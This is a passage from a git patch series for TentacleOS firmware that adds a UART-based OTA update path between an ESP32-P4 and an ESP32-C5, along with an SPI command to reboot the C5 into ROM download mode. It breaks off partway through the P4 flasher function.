c5_log_init(); // tee C5 logs to the P4 over SPI for the companion console + c5_log_init(); // tee C5 logs to the P4 over SPI for the companion console + ota_service_start(); // UART0 receiver for P4-pushed firmware (esp_ota) sys_monitor(false); diff --git a/firmware_c5/components/Service/CMakeLists.txt b/firmware_c5/components/Service/CMakeLists.txt index ccafd992c..887218f88 100644 --- a/firmware_c5/components/Service/CMakeLists.txt +++ b/firmware_c5/components/Service/CMakeLists.txt @@ -39,6 +39,7 @@ idf_component_register(SRCS "storage_assets/storage_assets.c" "esp_now/service_esp_now.c" + "ota/ota_service.c" ${SPI_BRIDGE_SRCS} ${SD_CARD_SRCS} ${MESHTASTIC_SRCS} @@ -58,6 +59,7 @@ idf_component_register(SRCS "meshtastic/include" "meshcore/include" "host_link/include" + "ota/include" @@ -71,6 +73,7 @@ idf_component_register(SRCS esp_common esp_netif esp_app_format + app_update Drivers Applications esp_http_server diff --git a/firmware_c5/components/Service/ota/include/ota_service.h b/firmware_c5/components/Service/ota/include/ota_service.h new file mode 100644 index 000000000..1afe7fb17 --- /dev/null +++ b/firmware_c5/components/Service/ota/include/ota_service.h @@ -0,0 +1,35 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef OTA_SERVICE_H +#define OTA_SERVICE_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "esp_err.h" + +// Start the OTA receiver task. It listens on UART0 (wired to the P4) for a +// firmware push from the P4, writes it to the inactive OTA partition with the +// esp_ota APIs, and reboots into the new app. The C5 keeps running its normal +// app the whole time - no ROM download mode involved. +esp_err_t ota_service_start(void); + +#ifdef __cplusplus +} +#endif + +#endif // OTA_SERVICE_H diff --git a/firmware_c5/components/Service/ota/ota_service.c b/firmware_c5/components/Service/ota/ota_service.c new file mode 100644 index 000000000..d5471e153 --- /dev/null +++ b/firmware_c5/components/Service/ota/ota_service.c @@ -0,0 +1,213 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ota_service.h" + +#include + +#include "driver/uart.h" +#include "esp_log.h" +#include "esp_ota_ops.h" +#include "esp_partition.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +static const char *TAG = "OTA_SVC"; + +// UART0 is wired to the P4. On the ESP32-C5 the UART0 silicon pins are +// U0RXD = GPIO12 and U0TXD = GPIO11 - the C5 receives on 12 and transmits on +// 11. The console lives on USB-Serial/JTAG now, so UART0 is dedicated to the +// firmware transfer. +#define OTA_UART UART_NUM_0 +#define OTA_UART_RX_PIN 12 +#define OTA_UART_TX_PIN 11 +// Conservative bring-up rate: 115200 carries cleanly over plain jumper wiring. +// Corruption at higher rates makes esp_ota_end reject the image. Raise later. +#define OTA_BAUD 115200 +#define OTA_RX_RINGBUF (16 * 1024) +// Per-block flow control: we ACK each block after writing it to flash and the +// P4 only sends the next one then, so the RX ring buffer can never overflow +// during a flash-write/scheduling stall. +#define OTA_BLOCK 4096 + +// Handshake: the P4 sends OTA_MAGIC and waits for us to reply OTA_READY before +// it sends the 4-byte little-endian size + the raw app binary. The reply makes +// the size/data alignment deterministic even if the first magic byte is lost on +// the idle->active line transition (the P4 just retries the magic). +static const uint8_t OTA_MAGIC[4] = {0xC5, 0xFA, 0x5E, 0x01}; +#define OTA_READY 0x52 +#define OTA_ACK 0x06 +#define OTA_NAK 0x15 + +// Plausible C5 app image size bounds - guards against acting on a spurious +// magic match. Min ~64 KB, max = the 2 MB OTA partition. +#define OTA_MIN_SIZE 0x10000 +#define OTA_MAX_SIZE 0x200000 + +static void send_status(uint8_t s) { + uart_write_bytes(OTA_UART, (const char *)&s, 1); + uart_wait_tx_done(OTA_UART, pdMS_TO_TICKS(200)); +} + +static void wait_for_magic(void) { + size_t matched = 0; + uint8_t b; + while (matched < sizeof(OTA_MAGIC)) { + if (uart_read_bytes(OTA_UART, &b, 1, portMAX_DELAY) != 1) { + continue; + } + if (b == OTA_MAGIC[matched]) { + matched++; + } else { + matched = (b == OTA_MAGIC[0]) ? 1 : 0; + } + } +} + +static esp_err_t read_exact(uint8_t *buf, uint32_t len, uint32_t timeout_ms) { + uint32_t got = 0; + while (got < len) { + int n = uart_read_bytes(OTA_UART, buf + got, len - got, pdMS_TO_TICKS(timeout_ms)); + if (n <= 0) { + return ESP_ERR_TIMEOUT; + } + got += (uint32_t)n; + } + return ESP_OK; +} + +static void do_ota(void) { + uint8_t size_buf[4]; + if (read_exact(size_buf, sizeof(size_buf), 2000) != ESP_OK) { + ESP_LOGE(TAG, "size header timeout"); + return; + } + uint32_t size = (uint32_t)size_buf[0] | ((uint32_t)size_buf[1] << 8) | + ((uint32_t)size_buf[2] << 16) | ((uint32_t)size_buf[3] << 24); + ESP_LOGW(TAG, "OTA push: %lu bytes", (unsigned long)size); + + if (size < OTA_MIN_SIZE || size > OTA_MAX_SIZE) { + ESP_LOGE(TAG, "implausible size %lu - ignoring (out of sync?)", (unsigned long)size); + send_status(OTA_NAK); + return; + } + + const esp_partition_t *part = esp_ota_get_next_update_partition(NULL); + if (part == NULL) { + ESP_LOGE(TAG, "no OTA partition available"); + send_status(OTA_NAK); + return; + } + ESP_LOGI(TAG, "target partition '%s' @ 0x%lx", part->label, (unsigned long)part->address); + + esp_ota_handle_t handle = 0; + esp_err_t err = esp_ota_begin(part, size, &handle); + if (err != ESP_OK) { + ESP_LOGE(TAG, "esp_ota_begin: %s", esp_err_to_name(err)); + send_status(OTA_NAK); + return; + } + // Partition is now erased. Only now tell the P4 to start sending blocks - if + // it sent during the (multi-second) erase above, those bytes would be lost + // while the flash cache is disabled. + ESP_LOGI(TAG, "partition erased - ready for data"); + send_status(OTA_ACK); + + static uint8_t buf[OTA_BLOCK]; + uint32_t remaining = size; + while (remaining > 0) { + uint32_t chunk = remaining > OTA_BLOCK ? OTA_BLOCK : remaining; + if (read_exact(buf, chunk, 5000) != ESP_OK) { + ESP_LOGE(TAG, "data timeout @ %lu/%lu", (unsigned long)(size - remaining), + (unsigned long)size); + esp_ota_abort(handle); + send_status(OTA_NAK); + return; + } + err = esp_ota_write(handle, buf, chunk); + if (err != ESP_OK) { + ESP_LOGE(TAG, "esp_ota_write: %s", esp_err_to_name(err)); + esp_ota_abort(handle); + send_status(OTA_NAK); + return; + } + remaining -= chunk; + // Block written - tell the P4 to send the next one (flow control). + send_status(OTA_ACK); + uint32_t written = size - remaining; + if ((written % (256 * 1024)) < OTA_BLOCK) { + ESP_LOGI(TAG, " received %lu/%lu", (unsigned long)written, (unsigned long)size); + } + } + ESP_LOGI(TAG, "all %lu bytes received, validating image...", (unsigned long)size); + + err = esp_ota_end(handle); + if (err != ESP_OK) { + ESP_LOGE(TAG, "esp_ota_end (image invalid?): %s", esp_err_to_name(err)); + send_status(OTA_NAK); + return; + } + err = esp_ota_set_boot_partition(part); + if (err != ESP_OK) { + ESP_LOGE(TAG, "esp_ota_set_boot_partition: %s", esp_err_to_name(err)); + send_status(OTA_NAK); + return; + } + + ESP_LOGW(TAG, "OTA OK - booting '%s'", part->label); + send_status(OTA_ACK); + vTaskDelay(pdMS_TO_TICKS(200)); + esp_restart(); +} + +static void ota_task(void *arg) { + (void)arg; + const esp_partition_t *running = esp_ota_get_running_partition(); + ESP_LOGI(TAG, "OTA receiver ready (running from '%s')", running ? running->label : "?"); + while (true) { + wait_for_magic(); + ESP_LOGW(TAG, "OTA sync received from P4"); + // Discard anything trailing the magic, then tell the P4 we're aligned. The + // P4 only sends the size + image after seeing this, so the next bytes we + // read are guaranteed to be the size header. + uart_flush_input(OTA_UART); + send_status(OTA_READY); + do_ota(); + } +} + +esp_err_t ota_service_start(void) { + const uart_config_t cfg = { + .baud_rate = OTA_BAUD, + .data_bits = UART_DATA_8_BITS, + .parity = UART_PARITY_DISABLE, + .stop_bits = UART_STOP_BITS_1, + .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, + .source_clk = UART_SCLK_DEFAULT, + }; + esp_err_t err = uart_driver_install(OTA_UART, OTA_RX_RINGBUF, 0, 0, NULL, 0); + if (err != ESP_OK) { + ESP_LOGE(TAG, "uart_driver_install: %s", esp_err_to_name(err)); + return err; + } + ESP_ERROR_CHECK(uart_param_config(OTA_UART, &cfg)); + ESP_ERROR_CHECK(uart_set_pin(OTA_UART, OTA_UART_TX_PIN, OTA_UART_RX_PIN, UART_PIN_NO_CHANGE, + UART_PIN_NO_CHANGE)); + + if (xTaskCreate(ota_task, "ota_task", 6144, NULL, 5, NULL) != pdPASS) { + return ESP_ERR_NO_MEM; + } + return ESP_OK; +} From 37afd3c150ca795e2862103dfb9fe14e775141dc Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 16:28:51 -0300 Subject: [PATCH 076/572] feat(spi-bridge): SYSTEM enter-download op for C5 ROM recovery --- .../Service/spi_bridge/include/spi_protocol.h | 2 ++ .../Service/spi_bridge/spi_bridge.c | 26 +++++++++++++++++++ .../Service/spi_bridge/include/spi_protocol.h | 2 ++ 3 files changed, 30 insertions(+) diff --git a/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h b/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h index 24351feb1..a05677682 100644 --- a/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h @@ -87,6 +87,8 @@ typedef enum { SPI_ID_SYSTEM_DATA = SPI_CMD(SPI_CAT_SYSTEM, 0x05), SPI_ID_SYSTEM_STREAM = SPI_CMD(SPI_CAT_SYSTEM, 0x06), SPI_ID_SYSTEM_LOG = SPI_CMD(SPI_CAT_SYSTEM, 0x07), // C5→P4 stream: log lines [level u8][utf-8] + SPI_ID_SYSTEM_ENTER_DOWNLOAD = + SPI_CMD(SPI_CAT_SYSTEM, 0x08), // P4→C5: reboot into ROM download mode (serial-flash recovery) // Companion file ops. P4-local host-link commands (the P4 owns flash + SD); // listed here only so the app and P4 share one id space. Never relayed to C5. diff --git a/firmware_c5/components/Service/spi_bridge/spi_bridge.c b/firmware_c5/components/Service/spi_bridge/spi_bridge.c index f1eda4f85..02bd9320d 100644 --- a/firmware_c5/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_c5/components/Service/spi_bridge/spi_bridge.c @@ -24,6 +24,8 @@ #include "freertos/FreeRTOS.h" #include "freertos/portmacro.h" #include "freertos/task.h" +#include "soc/lp_aon_reg.h" +#include "soc/soc.h" #include "bt_dispatcher.h" #include "bluetooth_service.h" @@ -69,6 +71,7 @@ static bool s_is_system_log_streaming = false; static bool s_use_irq = true; // false = POLL mode (no IRQ trace); master polls static portMUX_TYPE s_stream_mux = portMUX_INITIALIZER_UNLOCKED; static volatile bool s_is_restart_pending = false; +static volatile bool s_is_download_pending = false; static char s_firmware_version[SPI_FW_VERSION_LEN] = "unknown"; static void load_firmware_version(void); @@ -161,6 +164,21 @@ void spi_bridge_notify_master(void) { spi_slave_driver_set_irq(0); } +static void enter_download_mode(void) { + ESP_LOGW(TAG, "Entering ROM serial download mode (force)"); + // On ESP32-C5 the force-download-boot selector lives in LP_AON_SYS_CFG_REG + // bits 29-30. Value 0b01 = force download boot (uart/usb): the ROM bootloader + // skips the app and stays in the serial-download stub on USB-Serial/JTAG, + // listening for esptool. This is the cleanest software trigger on a board + // with no hardware BOOT trace (used with SPI_ID_SYSTEM_ENTER_DOWNLOAD). + uint32_t v = REG_READ(LP_AON_SYS_CFG_REG); + v &= ~(LP_AON_FORCE_DOWNLOAD_BOOT_M); + v |= (0x1U << LP_AON_FORCE_DOWNLOAD_BOOT_S); + REG_WRITE(LP_AON_SYS_CFG_REG, v); + vTaskDelay(pdMS_TO_TICKS(20)); // flush the log line before the reset + esp_restart(); +} + esp_err_t spi_bridge_slave_init(void) { return spi_bridge_slave_init_mode(SPI_BRIDGE_MODE_IRQ); } @@ -259,6 +277,11 @@ static void bridge_task(void *pvParameters) { } else if (cmd == SPI_ID_SYSTEM_REBOOT) { status = SPI_STATUS_OK; s_is_restart_pending = true; + } else if (cmd == SPI_ID_SYSTEM_ENTER_DOWNLOAD) { + // Ack first, then reboot into ROM download mode after the response + // transfer completes (deferred, like reboot) so the P4 sees the OK. + status = SPI_STATUS_OK; + s_is_download_pending = true; } else if (cmd == SPI_ID_SYSTEM_VERSION) { if (strcmp(s_firmware_version, "unknown") == 0) load_firmware_version(); @@ -397,6 +420,9 @@ static void bridge_task(void *pvParameters) { spi_slave_driver_wait(); // wait for the response transfer to complete + if (s_is_download_pending) { + enter_download_mode(); + } if (s_is_restart_pending) { vTaskDelay(pdMS_TO_TICKS(SPI_RESTART_DELAY_MS)); esp_restart(); diff --git a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h index 80b1f578f..e56b38c45 100644 --- a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h @@ -87,6 +87,8 @@ typedef enum { SPI_ID_SYSTEM_DATA = SPI_CMD(SPI_CAT_SYSTEM, 0x05), SPI_ID_SYSTEM_STREAM = SPI_CMD(SPI_CAT_SYSTEM, 0x06), SPI_ID_SYSTEM_LOG = SPI_CMD(SPI_CAT_SYSTEM, 0x07), // C5→P4 stream: log lines [level u8][utf-8] + SPI_ID_SYSTEM_ENTER_DOWNLOAD = + SPI_CMD(SPI_CAT_SYSTEM, 0x08), // P4→C5: reboot into ROM download mode (serial-flash recovery) // Companion file ops. P4-local host-link commands (the P4 owns flash + SD); // listed here only so the app and P4 share one id space. Never relayed to C5. From 30a254d115f632243bd7f6808cd9bb457b608b38 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 16:28:51 -0300 Subject: [PATCH 077/572] feat(c5-flasher): push C5 firmware over UART via OTA --- firmware_p4/components/Service/CMakeLists.txt | 28 +- .../Service/c5_flasher/c5_flasher.c | 318 +++++++++++------- .../Service/c5_flasher/include/c5_flasher.h | 63 +++- 3 files changed, 266 insertions(+), 143 deletions(-) diff --git a/firmware_p4/components/Service/CMakeLists.txt b/firmware_p4/components/Service/CMakeLists.txt index babf4dfd8..e4d173e1c 100644 --- a/firmware_p4/components/Service/CMakeLists.txt +++ b/firmware_p4/components/Service/CMakeLists.txt @@ -114,20 +114,32 @@ idf_component_register(SRCS ) # Embed C5 firmware images into Service component (used by c5_flasher). -# Full image: bootloader (0x2000) + partition table (0x8000) + app (0x10000). +# The OTA push path (c5_flasher.c) needs only the app image. The ROM-recovery +# path (c5_rom_flasher.c) also needs bootloader + partition-table + otadata. set(C5_BUILD_DIR "${CMAKE_SOURCE_DIR}/../firmware_c5/build") +set(C5_APP_PATH "${C5_BUILD_DIR}/TentacleOS_C5.bin") set(C5_BOOTLOADER_PATH "${C5_BUILD_DIR}/bootloader/bootloader.bin") set(C5_PARTITION_PATH "${C5_BUILD_DIR}/partition_table/partition-table.bin") -set(C5_APP_PATH "${C5_BUILD_DIR}/TentacleOS_C5.bin") +set(C5_OTADATA_PATH "${C5_BUILD_DIR}/ota_data_initial.bin") + set(C5_FIRMWARE_EMBEDDED 0) -if(EXISTS ${C5_BOOTLOADER_PATH} AND EXISTS ${C5_PARTITION_PATH} AND EXISTS ${C5_APP_PATH}) - target_add_binary_data(${COMPONENT_LIB} "${C5_BOOTLOADER_PATH}" BINARY) - target_add_binary_data(${COMPONENT_LIB} "${C5_PARTITION_PATH}" BINARY) +if(EXISTS ${C5_APP_PATH}) target_add_binary_data(${COMPONENT_LIB} "${C5_APP_PATH}" BINARY) set(C5_FIRMWARE_EMBEDDED 1) - message(STATUS "Embedding C5 firmware images (bootloader + partition-table + app)") + message(STATUS "Embedding C5 app image (OTA push)") else() - message(WARNING "C5 firmware images not found under ${C5_BUILD_DIR}. C5 update feature will be disabled.") + message(WARNING "C5 app image not found under ${C5_BUILD_DIR}. C5 update disabled.") endif() - target_compile_definitions(${COMPONENT_LIB} PRIVATE C5_FIRMWARE_EMBEDDED=${C5_FIRMWARE_EMBEDDED}) + +set(C5_ROM_IMAGES_EMBEDDED 0) +if(C5_FIRMWARE_EMBEDDED AND EXISTS ${C5_BOOTLOADER_PATH} AND EXISTS ${C5_PARTITION_PATH} AND EXISTS ${C5_OTADATA_PATH}) + target_add_binary_data(${COMPONENT_LIB} "${C5_BOOTLOADER_PATH}" BINARY) + target_add_binary_data(${COMPONENT_LIB} "${C5_PARTITION_PATH}" BINARY) + target_add_binary_data(${COMPONENT_LIB} "${C5_OTADATA_PATH}" BINARY) + set(C5_ROM_IMAGES_EMBEDDED 1) + message(STATUS "Embedding C5 ROM images (bootloader + partition-table + otadata)") +else() + message(WARNING "C5 ROM images incomplete under ${C5_BUILD_DIR}. ROM recovery flash disabled.") +endif() +target_compile_definitions(${COMPONENT_LIB} PRIVATE C5_ROM_IMAGES_EMBEDDED=${C5_ROM_IMAGES_EMBEDDED}) diff --git a/firmware_p4/components/Service/c5_flasher/c5_flasher.c b/firmware_p4/components/Service/c5_flasher/c5_flasher.c index 64762bc4d..f039b1f06 100644 --- a/firmware_p4/components/Service/c5_flasher/c5_flasher.c +++ b/firmware_p4/components/Service/c5_flasher/c5_flasher.c @@ -17,160 +17,244 @@ #include +#include "driver/gpio.h" #include "driver/uart.h" #include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" -#include "esp32_port.h" -#include "esp_loader.h" #include "pin_def.h" +#include "spi_bridge.h" +#include "spi_protocol.h" static const char *TAG = "C5_FLASHER"; -#define FLASHER_UART UART_NUM_1 -#define FLASHER_INIT_BAUD 115200 -#define FLASHER_FAST_BAUD 921600 -#define FLASH_BLOCK_SIZE 1024 +// Live OTA progress, polled by the UI for the progress bar. +static volatile uint32_t s_ota_sent = 0; +static volatile uint32_t s_ota_total = 0; -// C5 flash layout (matches firmware_c5 partition table / flash_args). -#define C5_BOOTLOADER_OFFSET 0x2000 -#define C5_PARTITION_OFFSET 0x8000 -#define C5_APP_OFFSET 0x10000 +void c5_flasher_progress(uint32_t *sent, uint32_t *total) { + if (sent != NULL) + *sent = s_ota_sent; + if (total != NULL) + *total = s_ota_total; +} + +// UART1 on the P4 (GPIO_C5_UART_TX_PIN=38 TX / GPIO_C5_UART_RX_PIN=39 RX, defined +// in pin_def.h) is wired to the C5's UART0. The C5 runs an OTA receiver task +// there: we stream the new C5 app image and it writes it to its inactive OTA +// slot and reboots. No ROM download mode involved. +#define OTA_UART UART_NUM_1 +// Must match the C5 OTA receiver. 115200 for reliable bring-up over jumpers. +#define OTA_BAUD 115200 +#define OTA_UART_BUF 4096 +// Per-block flow control: send a block, wait for the C5 to ACK it (after the +// flash write) before sending the next. Block size must match the C5 receiver. +#define OTA_BLOCK 4096 +#define OTA_BLOCK_TIMEOUT_MS 5000 +// esp_ota_begin on the C5 erases the partition first; that can take seconds. +#define OTA_BEGIN_TIMEOUT_MS 20000 + +// Must match firmware_c5/components/Service/ota/ota_service.c. +static const uint8_t OTA_MAGIC[4] = {0xC5, 0xFA, 0x5E, 0x01}; +#define OTA_READY 0x52 +#define OTA_ACK 0x06 +#define OTA_NAK 0x15 + +#define OTA_SYNC_ATTEMPTS 10 +#define OTA_READY_TIMEOUT_MS 1000 +#define OTA_ACK_TIMEOUT_MS 30000 + +// Timeout for the SPI enter-download command (the C5 acks then reboots to ROM). +#define ENTER_DOWNLOAD_TIMEOUT_MS 500 #if C5_FIRMWARE_EMBEDDED -extern const uint8_t c5_bootloader_start[] asm("_binary_bootloader_bin_start"); -extern const uint8_t c5_bootloader_end[] asm("_binary_bootloader_bin_end"); -extern const uint8_t c5_partition_start[] asm("_binary_partition_table_bin_start"); -extern const uint8_t c5_partition_end[] asm("_binary_partition_table_bin_end"); extern const uint8_t c5_app_start[] asm("_binary_TentacleOS_C5_bin_start"); extern const uint8_t c5_app_end[] asm("_binary_TentacleOS_C5_bin_end"); #endif -typedef struct { - const char *name; - uint32_t offset; - const uint8_t *data; - uint32_t size; -} c5_image_t; - -static esp_err_t flash_image(const c5_image_t *img); - esp_err_t c5_flasher_init(void) { - loader_esp32_config_t config = { - .baud_rate = FLASHER_INIT_BAUD, - .uart_port = FLASHER_UART, - .uart_rx_pin = GPIO_C5_UART_RX_PIN, - .uart_tx_pin = GPIO_C5_UART_TX_PIN, - .reset_trigger_pin = GPIO_C5_RESET_PIN, - .gpio0_trigger_pin = GPIO_C5_BOOT_PIN, + const uart_config_t cfg = { + .baud_rate = OTA_BAUD, + .data_bits = UART_DATA_8_BITS, + .parity = UART_PARITY_DISABLE, + .stop_bits = UART_STOP_BITS_1, + .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, + .source_clk = UART_SCLK_DEFAULT, }; - - if (loader_port_esp32_init(&config) != ESP_LOADER_SUCCESS) { - ESP_LOGE(TAG, "Failed to init serial flasher port"); - return ESP_FAIL; + if (!uart_is_driver_installed(OTA_UART)) { + esp_err_t err = uart_driver_install(OTA_UART, OTA_UART_BUF, 0, 0, NULL, 0); + if (err != ESP_OK) { + ESP_LOGE(TAG, "uart_driver_install: %s", esp_err_to_name(err)); + return err; + } + } + ESP_ERROR_CHECK(uart_param_config(OTA_UART, &cfg)); + esp_err_t pin_err = uart_set_pin(OTA_UART, GPIO_C5_UART_TX_PIN, GPIO_C5_UART_RX_PIN, + UART_PIN_NO_CHANGE, UART_PIN_NO_CHANGE); + if (pin_err != ESP_OK) { + ESP_LOGE(TAG, "uart_set_pin: %s", esp_err_to_name(pin_err)); + return pin_err; } + ESP_LOGI(TAG, "C5 OTA UART ready: UART%d @ %d baud, TX=GPIO%d -> C5 RX, RX=GPIO%d <- C5 TX", + OTA_UART, OTA_BAUD, GPIO_C5_UART_TX_PIN, GPIO_C5_UART_RX_PIN); return ESP_OK; } -esp_err_t c5_flasher_update(const uint8_t *bin_data, uint32_t bin_size) { - esp_loader_connect_args_t connect_args = ESP_LOADER_CONNECT_DEFAULT(); - - ESP_LOGI(TAG, "Connecting to C5 bootloader"); - if (esp_loader_connect(&connect_args) != ESP_LOADER_SUCCESS) { - ESP_LOGE(TAG, "Failed to connect to C5"); - return ESP_FAIL; +esp_err_t c5_flasher_enter_download(void) { + ESP_LOGW(TAG, "Requesting C5 to enter ROM download mode over SPI..."); + // The C5 acks then reboots into the ROM stub, so the bridge goes away right + // after: a timeout here is expected and not an error. + spi_header_t resp = {0}; + esp_err_t ret = spi_bridge_send_command(SPI_ID_SYSTEM_ENTER_DOWNLOAD, NULL, 0, &resp, NULL, + ENTER_DOWNLOAD_TIMEOUT_MS); + if (ret == ESP_OK || ret == ESP_ERR_TIMEOUT) { + // Give the C5 time to reboot into the download stub. + vTaskDelay(pdMS_TO_TICKS(300)); + return ESP_OK; } - ESP_LOGI(TAG, "Connected to target (chip id %d)", esp_loader_get_target()); + ESP_LOGE(TAG, "enter-download command failed: %s", esp_err_to_name(ret)); + return ret; +} - // Best-effort speed-up. Only switch the host side if the target accepted it, - // otherwise stay at the ROM baud rate. - if (esp_loader_change_transmission_rate(FLASHER_FAST_BAUD) == ESP_LOADER_SUCCESS) { - if (loader_port_change_transmission_rate(FLASHER_FAST_BAUD) != ESP_LOADER_SUCCESS) { - ESP_LOGE(TAG, "Host baud switch failed after target switched"); - return ESP_FAIL; - } - ESP_LOGI(TAG, "Baud rate raised to %d", FLASHER_FAST_BAUD); - } else { - ESP_LOGW(TAG, "Baud change unsupported, staying at %d", FLASHER_INIT_BAUD); - } +void c5_flasher_release_uart(void) { + if (uart_is_driver_installed(OTA_UART)) + uart_driver_delete(OTA_UART); + // Tri-state both lines so the P4 stops driving the shared GPIO38 (C5 RX) net. + gpio_reset_pin(GPIO_C5_UART_TX_PIN); + gpio_reset_pin(GPIO_C5_UART_RX_PIN); + gpio_set_direction(GPIO_C5_UART_TX_PIN, GPIO_MODE_INPUT); + gpio_set_direction(GPIO_C5_UART_RX_PIN, GPIO_MODE_INPUT); + gpio_set_pull_mode(GPIO_C5_UART_TX_PIN, GPIO_FLOATING); + gpio_set_pull_mode(GPIO_C5_UART_RX_PIN, GPIO_FLOATING); + ESP_LOGW(TAG, "C5 UART lines released: GPIO%d/GPIO%d now hi-Z inputs.", GPIO_C5_UART_TX_PIN, + GPIO_C5_UART_RX_PIN); + ESP_LOGW(TAG, "External USB-serial can now own the C5 UART. Reboot P4 to restore."); +} - if (bin_data != NULL) { - if (bin_size == 0) { - ESP_LOGE(TAG, "Invalid binary size"); - return ESP_ERR_INVALID_ARG; - } - c5_image_t app = {"app", C5_APP_OFFSET, bin_data, bin_size}; - esp_err_t ret = flash_image(&app); - if (ret != ESP_OK) { - return ret; - } - } else { -#if C5_FIRMWARE_EMBEDDED - const c5_image_t images[] = { - {"bootloader", - C5_BOOTLOADER_OFFSET, - c5_bootloader_start, - (uint32_t)(c5_bootloader_end - c5_bootloader_start)}, - {"partition-table", - C5_PARTITION_OFFSET, - c5_partition_start, - (uint32_t)(c5_partition_end - c5_partition_start)}, - {"app", C5_APP_OFFSET, c5_app_start, (uint32_t)(c5_app_end - c5_app_start)}, - }; - for (size_t i = 0; i < sizeof(images) / sizeof(images[0]); i++) { - esp_err_t ret = flash_image(&images[i]); - if (ret != ESP_OK) { - return ret; - } - } +esp_err_t c5_flasher_update(const uint8_t *bin_data, uint32_t bin_size) { +#if !C5_FIRMWARE_EMBEDDED + (void)bin_data; + (void)bin_size; + ESP_LOGE(TAG, "Embedded C5 firmware is unavailable"); + return ESP_ERR_NOT_FOUND; #else - ESP_LOGE(TAG, "Embedded C5 firmware is unavailable"); - return ESP_ERR_NOT_FOUND; -#endif + if (bin_data == NULL) { + bin_data = c5_app_start; + bin_size = (uint32_t)(c5_app_end - c5_app_start); } - - ESP_LOGI(TAG, "Update successful"); - esp_loader_reset_target(); - return ESP_OK; -} - -static esp_err_t flash_image(const c5_image_t *img) { - if (img->size == 0) { - ESP_LOGE(TAG, "Empty image for %s", img->name); + if (bin_size == 0) { + ESP_LOGE(TAG, "Invalid image size"); return ESP_ERR_INVALID_ARG; } + ESP_LOGI(TAG, "C5 OTA: pushing %lu bytes (%s) over UART%d @ %d baud", (unsigned long)bin_size, + (bin_data == c5_app_start) ? "embedded image" : "caller image", OTA_UART, OTA_BAUD); - ESP_LOGI(TAG, - "Flashing %s: %lu bytes @ 0x%05lx", - img->name, - (unsigned long)img->size, - (unsigned long)img->offset); + uart_flush(OTA_UART); - if (esp_loader_flash_start(img->offset, img->size, FLASH_BLOCK_SIZE) != ESP_LOADER_SUCCESS) { - ESP_LOGE(TAG, "flash_start failed for %s", img->name); + // Handshake: send the magic and wait for the C5 to reply READY before sending + // the size + image. Retry the magic - if the first byte was lost on the + // idle->active transition the C5 just won't answer and we send it again. + bool synced = false; + for (int attempt = 1; attempt <= OTA_SYNC_ATTEMPTS && !synced; attempt++) { + uart_flush(OTA_UART); + uart_write_bytes(OTA_UART, (const char *)OTA_MAGIC, sizeof(OTA_MAGIC)); + uart_wait_tx_done(OTA_UART, pdMS_TO_TICKS(200)); + uint8_t r = 0; + int n = uart_read_bytes(OTA_UART, &r, 1, pdMS_TO_TICKS(OTA_READY_TIMEOUT_MS)); + if (n == 1 && r == OTA_READY) { + synced = true; + ESP_LOGI(TAG, "C5 handshake OK (attempt %d/%d)", attempt, OTA_SYNC_ATTEMPTS); + } else if (n == 1) { + ESP_LOGW(TAG, "handshake %d/%d: got 0x%02X, want READY 0x%02X (baud mismatch or line noise?)", + attempt, OTA_SYNC_ATTEMPTS, r, OTA_READY); + } else { + ESP_LOGW(TAG, "handshake %d/%d: no reply within %d ms", attempt, OTA_SYNC_ATTEMPTS, + OTA_READY_TIMEOUT_MS); + } + } + if (!synced) { + ESP_LOGE(TAG, "C5 OTA handshake failed after %d attempts", OTA_SYNC_ATTEMPTS); + ESP_LOGE(TAG, " the C5 must be RUNNING ITS APP (the OTA receiver on UART0) to answer"); + ESP_LOGE(TAG, " a blank C5 will NOT reply here -- use ROM flash or passthrough instead"); + ESP_LOGE(TAG, " also verify wiring TX=GPIO%d/RX=GPIO%d and %d baud on both sides", + GPIO_C5_UART_TX_PIN, GPIO_C5_UART_RX_PIN, OTA_BAUD); return ESP_FAIL; } + ESP_LOGI(TAG, "C5 synced - sending image"); + + // Size header: 4-byte little-endian. + uint8_t size_hdr[4]; + size_hdr[0] = (uint8_t)(bin_size & 0xFF); + size_hdr[1] = (uint8_t)((bin_size >> 8) & 0xFF); + size_hdr[2] = (uint8_t)((bin_size >> 16) & 0xFF); + size_hdr[3] = (uint8_t)((bin_size >> 24) & 0xFF); + uart_write_bytes(OTA_UART, (const char *)size_hdr, sizeof(size_hdr)); + uart_wait_tx_done(OTA_UART, pdMS_TO_TICKS(2000)); - uint8_t block[FLASH_BLOCK_SIZE]; - uint32_t written = 0; - while (written < img->size) { - uint32_t chunk = img->size - written; - if (chunk > FLASH_BLOCK_SIZE) { - chunk = FLASH_BLOCK_SIZE; + // Wait for the C5 to erase the partition 